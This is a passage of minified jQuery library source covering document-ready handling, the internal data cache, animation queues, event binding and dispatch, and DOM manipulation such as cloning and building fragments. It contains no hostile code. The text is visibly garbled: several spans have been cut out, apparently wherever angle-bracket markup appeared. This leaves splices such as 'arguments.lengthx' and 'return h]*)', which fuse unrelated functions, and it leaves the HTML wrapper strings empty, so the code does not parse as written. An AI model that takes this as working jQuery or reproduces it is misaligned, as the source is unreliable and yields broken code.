H||(H=n.Deferred(),"complete"===l.readyState?setTimeout(n.ready):(l.addEventListener("DOMContentLoaded",I,!1),a.addEventListener("load",I,!1))),H.promise(b)},n.ready.promise();var J=n.access=function(a,b,c,d,e,f,g){var h=0,i=a.length,j=null==c;if("object"===n.type(c)){e=!0;for(h in c)n.access(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,n.isFunction(d)||(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(n(a),c)})),b))for(;i>h;h++)b(a[h],c,g?d:d.call(a[h],h,b(a[h],c)));return e?a:j?b.call(a):i?b(a[0],c):f};n.acceptData=function(a){return 1===a.nodeType||9===a.nodeType||!+a.nodeType};function K(){Object.defineProperty(this.cache={},0,{get:function(){return{}}}),this.expando=n.expando+K.uid++}K.uid=1,K.accepts=n.acceptData,K.prototype={key:function(a){if(!K.accepts(a))return 0;var b={},c=a[this.expando];if(!c){c=K.uid++;try{b[this.expando]={value:c},Object.defineProperties(a,b)}catch(d){b[this.expando]=c,n.extend(a,b)}}return this.cache[c]||(this.cache[c]={}),c},set:function(a,b,c){var d,e=this.key(a),f=this.cache[e];if("string"==typeof b)f[b]=c;else if(n.isEmptyObject(f))n.extend(this.cache[e],b);else for(d in b)f[d]=b[d];return f},get:function(a,b){var c=this.cache[this.key(a)];return void 0===b?c:c[b]},access:function(a,b,c){var d;return void 0===b||b&&"string"==typeof b&&void 0===c?(d=this.get(a,b),void 0!==d?d:this.get(a,n.camelCase(b))):(this.set(a,b,c),void 0!==c?c:b)},remove:function(a,b){var c,d,e,f=this.key(a),g=this.cache[f];if(void 0===b)this.cache[f]={};else{n.isArray(b)?d=b.concat(b.map(n.camelCase)):(e=n.camelCase(b),b in g?d=[b,e]:(d=e,d=d in g?[d]:d.match(E)||[])),c=d.length;while(c--)delete g[d[c]]}},hasData:function(a){return!n.isEmptyObject(this.cache[a[this.expando]]||{})},discard:function(a){a[this.expando]&&delete this.cache[a[this.expando]]}};var L=new K,M=new K,N=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,O=/([A-Z])/g;function P(a,b,c){var d;if(void 0===c&&1===a.nodeType)if(d="data-"+b.replace(O,"-$1").toLowerCase(),c=a.getAttribute(d),"string"==typeof c){try{c="true"===c?!0:"false"===c?!1:"null"===c?null:+c+""===c?+c:N.test(c)?n.parseJSON(c):c}catch(e){}M.set(a,b,c)}else c=void 0;return c}n.extend({hasData:function(a){return M.hasData(a)||L.hasData(a)},data:function(a,b,c){ +return M.access(a,b,c)},removeData:function(a,b){M.remove(a,b)},_data:function(a,b,c){return L.access(a,b,c)},_removeData:function(a,b){L.remove(a,b)}}),n.fn.extend({data:function(a,b){var c,d,e,f=this[0],g=f&&f.attributes;if(void 0===a){if(this.length&&(e=M.get(f),1===f.nodeType&&!L.get(f,"hasDataAttrs"))){c=g.length;while(c--)g[c]&&(d=g[c].name,0===d.indexOf("data-")&&(d=n.camelCase(d.slice(5)),P(f,d,e[d])));L.set(f,"hasDataAttrs",!0)}return e}return"object"==typeof a?this.each(function(){M.set(this,a)}):J(this,function(b){var c,d=n.camelCase(a);if(f&&void 0===b){if(c=M.get(f,a),void 0!==c)return c;if(c=M.get(f,d),void 0!==c)return c;if(c=P(f,d,void 0),void 0!==c)return c}else this.each(function(){var c=M.get(this,d);M.set(this,d,b),-1!==a.indexOf("-")&&void 0!==c&&M.set(this,a,b)})},null,b,arguments.length>1,null,!0)},removeData:function(a){return this.each(function(){M.remove(this,a)})}}),n.extend({queue:function(a,b,c){var d;return a?(b=(b||"fx")+"queue",d=L.get(a,b),c&&(!d||n.isArray(c)?d=L.access(a,b,n.makeArray(c)):d.push(c)),d||[]):void 0},dequeue:function(a,b){b=b||"fx";var c=n.queue(a,b),d=c.length,e=c.shift(),f=n._queueHooks(a,b),g=function(){n.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return L.get(a,c)||L.access(a,c,{empty:n.Callbacks("once memory").add(function(){L.remove(a,[b+"queue",c])})})}}),n.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.lengthx",k.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue}();var U="undefined";k.focusinBubbles="onfocusin"in a;var V=/^key/,W=/^(?:mouse|pointer|contextmenu)|click/,X=/^(?:focusinfocus|focusoutblur)$/,Y=/^([^.]*)(?:\.(.+)|)$/;function Z(){return!0}function $(){return!1}function _(){try{return l.activeElement}catch(a){}}n.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=L.get(a);if(r){c.handler&&(f=c,c=f.handler,e=f.selector),c.guid||(c.guid=n.guid++),(i=r.events)||(i=r.events={}),(g=r.handle)||(g=r.handle=function(b){return typeof n!==U&&n.event.triggered!==b.type?n.event.dispatch.apply(a,arguments):void 0}),b=(b||"").match(E)||[""],j=b.length;while(j--)h=Y.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o&&(l=n.event.special[o]||{},o=(e?l.delegateType:l.bindType)||o,l=n.event.special[o]||{},k=n.extend({type:o,origType:q,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&n.expr.match.needsContext.test(e),namespace:p.join(".")},f),(m=i[o])||(m=i[o]=[],m.delegateCount=0,l.setup&&l.setup.call(a,d,p,g)!==!1||a.addEventListener&&a.addEventListener(o,g,!1)),l.add&&(l.add.call(a,k),k.handler.guid||(k.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,k):m.push(k),n.event.global[o]=!0)}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=L.hasData(a)&&L.get(a);if(r&&(i=r.events)){b=(b||"").match(E)||[""],j=b.length;while(j--)if(h=Y.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o){l=n.event.special[o]||{},o=(d?l.delegateType:l.bindType)||o,m=i[o]||[],h=h[2]&&new RegExp("(^|\\.)"+p.join("\\.(?:.*\\.|)")+"(\\.|$)"),g=f=m.length;while(f--)k=m[f],!e&&q!==k.origType||c&&c.guid!==k.guid||h&&!h.test(k.namespace)||d&&d!==k.selector&&("**"!==d||!k.selector)||(m.splice(f,1),k.selector&&m.delegateCount--,l.remove&&l.remove.call(a,k));g&&!m.length&&(l.teardown&&l.teardown.call(a,p,r.handle)!==!1||n.removeEvent(a,o,r.handle),delete i[o])}else for(o in i)n.event.remove(a,o+b[j],c,d,!0);n.isEmptyObject(i)&&(delete r.handle,L.remove(a,"events"))}},trigger:function(b,c,d,e){var f,g,h,i,k,m,o,p=[d||l],q=j.call(b,"type")?b.type:b,r=j.call(b,"namespace")?b.namespace.split("."):[];if(g=h=d=d||l,3!==d.nodeType&&8!==d.nodeType&&!X.test(q+n.event.triggered)&&(q.indexOf(".")>=0&&(r=q.split("."),q=r.shift(),r.sort()),k=q.indexOf(":")<0&&"on"+q,b=b[n.expando]?b:new n.Event(q,"object"==typeof b&&b),b.isTrigger=e?2:3,b.namespace=r.join("."),b.namespace_re=b.namespace?new RegExp("(^|\\.)"+r.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,b.result=void 0,b.target||(b.target=d),c=null==c?[b]:n.makeArray(c,[b]),o=n.event.special[q]||{},e||!o.trigger||o.trigger.apply(d,c)!==!1)){if(!e&&!o.noBubble&&!n.isWindow(d)){for(i=o.delegateType||q,X.test(i+q)||(g=g.parentNode);g;g=g.parentNode)p.push(g),h=g;h===(d.ownerDocument||l)&&p.push(h.defaultView||h.parentWindow||a)}f=0;while((g=p[f++])&&!b.isPropagationStopped())b.type=f>1?i:o.bindType||q,m=(L.get(g,"events")||{})[b.type]&&L.get(g,"handle"),m&&m.apply(g,c),m=k&&g[k],m&&m.apply&&n.acceptData(g)&&(b.result=m.apply(g,c),b.result===!1&&b.preventDefault());return b.type=q,e||b.isDefaultPrevented()||o._default&&o._default.apply(p.pop(),c)!==!1||!n.acceptData(d)||k&&n.isFunction(d[q])&&!n.isWindow(d)&&(h=d[k],h&&(d[k]=null),n.event.triggered=q,d[q](),n.event.triggered=void 0,h&&(d[k]=h)),b.result}},dispatch:function(a){a=n.event.fix(a);var b,c,e,f,g,h=[],i=d.call(arguments),j=(L.get(this,"events")||{})[a.type]||[],k=n.event.special[a.type]||{};if(i[0]=a,a.delegateTarget=this,!k.preDispatch||k.preDispatch.call(this,a)!==!1){h=n.event.handlers.call(this,a,j),b=0;while((f=h[b++])&&!a.isPropagationStopped()){a.currentTarget=f.elem,c=0;while((g=f.handlers[c++])&&!a.isImmediatePropagationStopped())(!a.namespace_re||a.namespace_re.test(g.namespace))&&(a.handleObj=g,a.data=g.data,e=((n.event.special[g.origType]||{}).handle||g.handler).apply(f.elem,i),void 0!==e&&(a.result=e)===!1&&(a.preventDefault(),a.stopPropagation()))}return k.postDispatch&&k.postDispatch.call(this,a),a.result}},handlers:function(a,b){var c,d,e,f,g=[],h=b.delegateCount,i=a.target;if(h&&i.nodeType&&(!a.button||"click"!==a.type))for(;i!==this;i=i.parentNode||this)if(i.disabled!==!0||"click"!==a.type){for(d=[],c=0;h>c;c++)f=b[c],e=f.selector+" ",void 0===d[e]&&(d[e]=f.needsContext?n(e,this).index(i)>=0:n.find(e,this,null,[i]).length),d[e]&&d.push(f);d.length&&g.push({elem:i,handlers:d})}return h]*)\/>/gi,ba=/<([\w:]+)/,ca=/<|&#?\w+;/,da=/<(?:script|style|link)/i,ea=/checked\s*(?:[^=]|=\s*.checked.)/i,fa=/^$|\/(?:java|ecma)script/i,ga=/^true\/(.*)/,ha=/^\s*\s*$/g,ia={option:[1,""],thead:[1,"","
"],col:[2,"","
"],tr:[2,"","
"],td:[3,"","
"],_default:[0,"",""]};ia.optgroup=ia.option,ia.tbody=ia.tfoot=ia.colgroup=ia.caption=ia.thead,ia.th=ia.td;function ja(a,b){return n.nodeName(a,"table")&&n.nodeName(11!==b.nodeType?b:b.firstChild,"tr")?a.getElementsByTagName("tbody")[0]||a.appendChild(a.ownerDocument.createElement("tbody")):a}function ka(a){return a.type=(null!==a.getAttribute("type"))+"/"+a.type,a}function la(a){var b=ga.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function ma(a,b){for(var c=0,d=a.length;d>c;c++)L.set(a[c],"globalEval",!b||L.get(b[c],"globalEval"))}function na(a,b){var c,d,e,f,g,h,i,j;if(1===b.nodeType){if(L.hasData(a)&&(f=L.access(a),g=L.set(b,f),j=f.events)){delete g.handle,g.events={};for(e in j)for(c=0,d=j[e].length;d>c;c++)n.event.add(b,e,j[e][c])}M.hasData(a)&&(h=M.access(a),i=n.extend({},h),M.set(b,i))}}function oa(a,b){var c=a.getElementsByTagName?a.getElementsByTagName(b||"*"):a.querySelectorAll?a.querySelectorAll(b||"*"):[];return void 0===b||b&&n.nodeName(a,b)?n.merge([a],c):c}function pa(a,b){var c=b.nodeName.toLowerCase();"input"===c&&T.test(a.type)?b.checked=a.checked:("input"===c||"textarea"===c)&&(b.defaultValue=a.defaultValue)}n.extend({clone:function(a,b,c){var d,e,f,g,h=a.cloneNode(!0),i=n.contains(a.ownerDocument,a);if(!(k.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||n.isXMLDoc(a)))for(g=oa(h),f=oa(a),d=0,e=f.length;e>d;d++)pa(f[d],g[d]);if(b)if(c)for(f=f||oa(a),g=g||oa(h),d=0,e=f.length;e>d;d++)na(f[d],g[d]);else na(a,h);return g=oa(h,"script"),g.length>0&&ma(g,!i&&oa(a,"script")),h},buildFragment:function(a,b,c,d){for(var e,f,g,h,i,j,k=b.createDocumentFragment(),l=[],m=0,o=a.length;o>m;m++)if(e=a[m],e||0===e)if("object"===n.type(e))n.merge(l,e.nodeType?[e]:e);else if(ca.test(e)){f=f||k.appendChild(b.createElement("div")),g=(ba.exec(e)||["",""])[1].toLowerCase(),h=ia[g]||ia._default,f.innerHTML=h[1]+e.replace(aa,"<$1>")+h[2],j=h[0];while(j--)f=f.lastChild;n.merge(l,f.childNodes),f=k.firstChild,f.textContent=""}else l.push(b.createTextNode(e));k.textContent="",m=0;while(e=l[m++])if((!d||-1===n.inArray(e,d))&&(i=n.contains(e.ownerDocument,e),f=oa(k.appendChild(e),"script"),i&&ma(f),c)){j=0;while(e=f[j++])fa.test(e.type||"")&&c.push(e)}return k},cleanData:function(a){for(var b,c,d,e,f=n.event.special,g=0;void 0!==(c=a[g]);g++){if(n.acceptData(c)&&(e=c[L.expando],e&&(b=L.cache[e]))){if(b.events)for(d in b.events)f[d]?n.event.remove(c,d):n.removeEvent(c,d,b.handle);L.cache[e]&&delete L.cache[e]}delete M.cache[c[M.expando]]}}}),n.fn.extend({text:function(a){return J(this,function(a){return void 0===a?n.text(this):this.empty().each(function(){(1===this.nodeType||11===this.nodeType||9===this.nodeType)&&(this.textContent=a)})},null,a,arguments.length)},append:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=ja(this,a);b.appendChild(a)}})},prepend:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=ja(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},remove:function(a,b){for(var c,d=a?n.filter(a,this):this,e=0;null!=(c=d[e]);e++)b||1!==c.nodeType||n.cleanData(oa(c)),c.parentNode&&(b&&n.contains(c.ownerDocument,c)&&ma(oa(c,"script")),c.parentNode.removeChild(c));return this},empty:function(){for(var a,b=0;null!=(a=this[b]);b++)1===a.nodeType&&(n.cleanData(oa(a,!1)),a.textContent="");return this},clone:function(a,b){return a=null==a?!1:a,b=null==b?a:b,this.map(function(){return n.clone(this,a,b)})},html:function(a){return J(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a&&1===b.nodeType)return b.innerHTML;if("string"==typeof a&&!da.test(a)&&!ia[(ba.exec(a)||["",""])[1].toLowerCase()]){a=a.replace(aa,"<$1>");try{for(;d>c;c++)b=this[c]||{},1===b.nodeType&&(n.cleanData(oa(b,!1)),b.innerHTML=a);b=0}catch(e){}}b&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(){var a=arguments[0];return this.domManip(arguments,function(b){a=this.parentNode,n.cleanData(oa(this)),a&&a.replaceChild(b,this)}),a&&(a.length||a.nodeType)?this:this.remove()},detach:function(a){return this.remove(a,!0)},domManip:function(a,b){a=e.apply([],a);var c,d,f,g,h,i,j=0,l=this.length,m=this,o=l-1,p=a[0],q=n.isFunction(p);if(q||l>1&&"string"==typeof p&&!k.checkClone&&ea.test(p))return this.each(function(c){var d=m.eq(c);q&&(a[0]=p.call(this,c,d.html())),d.domManip(a,b)});if(l&&(c=n.buildFragment(a,this[0].ownerDocument,!1,this),d=c.firstChild,1===c.childNodes.length&&(c=d),d)){for(f=n.map(oa(c,"script"),ka),g=f.length;l>j;j++)h=c,j!==o&&(h=n.clone(h,!0,!0),g&&n.merge(f,oa(h,"script"))),b.call(this[j],h,j);if(g)for(i=f[f.length-1].ownerDocument,n.map(f,la),j=0;g>j;j++)h=f[j],fa.test(h.type||"")&&!L.access(h,"globalEval")&&n.contains(i,h)&&(h.src?n._evalUrl&&n._evalUrl(h.src):n.globalEval(h.textContent.replace(ha,"")))}return this}}),n.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){n.fn[a]=function(a){for(var c,d=[],e=n(a),g=e.length-1,h=0;g>=h;h++)c=h===g?this:this.clone(!0),n(e[h])[b](c),f.apply(d,c.get());return this.pushStack(d)}});var qa,ra={};function sa(b,c){var d,e=n(c.createElement(b)).appendTo(c.body),f=a.getDefaultComputedStyle&&(d=a.getDefaultComputedStyle(e[0]))?d.display:n.css(e[0],"display");return e.detach(),f}function ta(a){var b=l,c=ra[a];return c||(c=sa(a,b),"none"!==c&&c||(qa=(qa||n("